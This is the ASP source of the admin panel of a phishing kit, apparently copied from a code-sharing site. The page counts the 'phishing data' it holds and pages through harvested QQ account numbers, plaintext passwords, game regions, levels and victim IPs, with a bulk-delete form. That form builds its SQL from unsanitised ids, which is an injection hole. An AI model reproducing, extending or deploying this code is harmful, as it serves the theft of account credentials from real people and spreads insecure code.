📄 admin_dataall.asp
字号:
<!--#include file="../Conn.asp"-->
<%
If Session("AdminUserName") = "" Then
Response.Write "<script>window.open('Login.asp','_parent');</script>"
Response.End
End If
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(server_v1,8,len(server_v2))<>server_v2 then
response.write "<script>alert('警告！你正在从外部提交数据！！请立即终止！！');location.href='../index.htm';</script>"
Response.End
end If
if request("submit")=" 删除选定内容 " Then
id=replace(request("selAnnounk")," ","")
id=split(id,",")
For i=0 to UBound(id)
Conn.Execute "delete * from [info] where id=" & id(i)
Next
Response.Write "<script>location.href='admin_dataall.asp';parent.document.getElementById('contents').src='admin_left.asp?time=" & Now() & "';</script>"
Response.End
End If
%>
<html>
<SCRIPT language=javascript>
function unselectall()
{
if(document.del.chkAlld.checked)
{
document.del.chkAlld.checked = document.del.chkAlld.checked&0;
}
}
function CheckAll(form)
{
for (var i=0;i<form.elements.length;i++)
{
var e = form.elements[i];
if (e.Name != "chkAlld")
e.checked = form.chkAlld.checked;
}
}
function firmDel()
{
if(confirm("确定要删除吗？一旦删除将不能恢复！\n\n点击取消，可取消此操作！"))
return true;
else
return false;
}
</SCRIPT>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title></title>
<link href="../images/text.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
body {
margin-top: 0px;
margin-bottom: 0px;
margin-left: 0px;
margin-right: 0px;
}
-->
</style>
</head>
<body>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td height="32" align="center" background="../images/bj3.jpg" bgcolor="#E6F2FF"><table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td align="center">目前共有钓鱼数据
[<font color="#FF0000">
<%
Set Rs = Conn.Execute("Select Count(*) From [info]")
Response.Write Rs(0)
Set Rs = Nothing
%>
</font>]条</td>
</tr>
</table></td>
</tr>
<tr>
<td height="254" valign="top" bgcolor="#FFFFFF">
<form name="del" method="Post" action="?action=delr" onSubmit="return firmDel();">
<table width="100%" border=1 align="center" cellPadding=2 cellSpacing=0 bordercolor="#999999" borderColorDark=#ffffff bgcolor="#F9F9F9">
<tr bgcolor="#FFFFFF">
<td width="36" height="21" align="center" class="p1"><strong>选中</strong></td>
<td width="117" align="center" class="p1"><strong>QQ号码</strong></td>
<td width="175" align="center" class="p1"><strong>QQ密码</strong></td>
<td width="99" align="center" class="p1"><strong>所在大区</strong></td>
<td width="49" align="center" class="p1"><strong>等级</strong></td>
<td width="203" align="center" class="p1"><strong>时间</strong></td>
<td width="165" align="center" class="p1"><strong>IP</strong></td>
<td width="170" align="center" class="p1"><strong>备注</strong></td>
<td width="50" align="center" class="p1"><strong>修改</strong></td>
</tr>
<%
Page = Request.QueryString("Page")
ListNum = 50
If Not IsNumeric(Page) Or Page="" Then
Page = 1
End If
Set Rs = Server.CreateObject("Adodb.Recordset")
Sql = "Select * From [info] Order By Id Desc"
Rs.Open Sql,Conn,1,1
If Not (Rs.Eof Or Rs.Bof) Then
i = 0
Rs.PageSize = ListNum
If (Page - Rs.PageCount) > 0 Then
Page = Rs.PageCount
ElseIf Page < 1 Then
Page = 1
End If
Rs.AbsolutePage = Page
Do While Not Rs.Eof And i < ListNum
%>
<tr bgcolor="#FFFFFF">
<td height="21" align="center"><input type='checkbox' name='selAnnounk' value='<%=Rs("id")%>'></td>
<td align="center"><%=Server.HtmlEnCode(Rs("qq"))%></td>
<td align="center"><%=Server.HtmlEnCode(Rs("pass"))%></td>
<td align="center"><%=Server.HtmlEnCode(Rs("class"))%></td>
<td align="center"><%=Server.HtmlEnCode(Rs("grade"))%></td>
<td align="center"><%=Rs("addtime")%></td>
<td align="center"><%=Rs("loginip")%></td>
<td align="center"> <%=Rs("content")%></td>
<td align="center"><a href="user_dedit.asp?id=<%=Rs("id")%>&url=back">修改</a></td>
</tr>
<%
Rs.MoveNext
i = i + 1
Loop
End If
%>
</table>
<table width="100%" border="0" align="center" cellpadding="3" cellspacing="3">
<tr>
<td width="68"><span class="p1"><strong>
<input name="chkAlld" type="checkbox" id="chkAlld" onClick=CheckAll(this.form) value="checkbox">
全选</strong></span></td>
<td width="783" height="30"><input name="submit" type='submit' class="btn" value=' 删除选定内容 '>
<input name="Action" type="hidden" id="Action" value="Del"> </td>
</tr>
</table>
</form>
<p align='center'>
<%
If Page = 1 Then
Response.Write "<font color='#111111'>首页 上一页</font> "
Else
Response.Write "<a href=admin_dataall.asp>首页</a> <a href=admin_dataall.asp?page=" & Page - 1 & ">上一页</a> "
End If
%>
<%
If Rs.pagecount-page<=0 Then
Response.Write "<font color='#111111'>下一页 尾页</font>"
Else
Response.Write "<a href=admin_dataall.asp?page=" & Page + 1 & ">下一页</a> <a href=admin_dataall.asp?page=" & Rs.pagecount & ">尾页</a>"
End If
%>
<font color='#111111'> 页次：</font><strong><font color=red><%=Page%></font><font color='#111111'>/<%=Rs.pagecount%></strong>页</font> <font color='#111111'> 共 <b><%=Rs.recordcount%></b> 条信息 <b><%=ListNum%></b>条/页</font> </td>
</tr>
</table>
</body>
</html>
<%Set Rs = Nothing%>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -